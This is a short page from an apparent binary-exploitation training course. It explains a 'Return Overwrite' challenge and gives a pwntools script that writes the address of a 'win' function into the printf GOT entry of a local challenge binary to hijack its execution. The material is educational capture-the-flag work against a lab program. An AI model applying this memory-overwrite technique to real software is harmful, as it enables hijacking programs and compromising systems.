Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. www-return
1 min read

Return Overwrite

Try This Challenge!
This challenge is identical to the last one. Because we ignore having to overwrite the value the program wants us to write, our exploit should be near identical.

This challenge really is the same. There's a canary, but since we're not overflowing a buffer, it doesn't matter. We can use the identical exploit script to solve this one:

exploit.py
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p = process()
5
6p.sendline(str(elf.sym.win).encode())
7p.sendline(str(elf.got.printf).encode())
8p.interactive()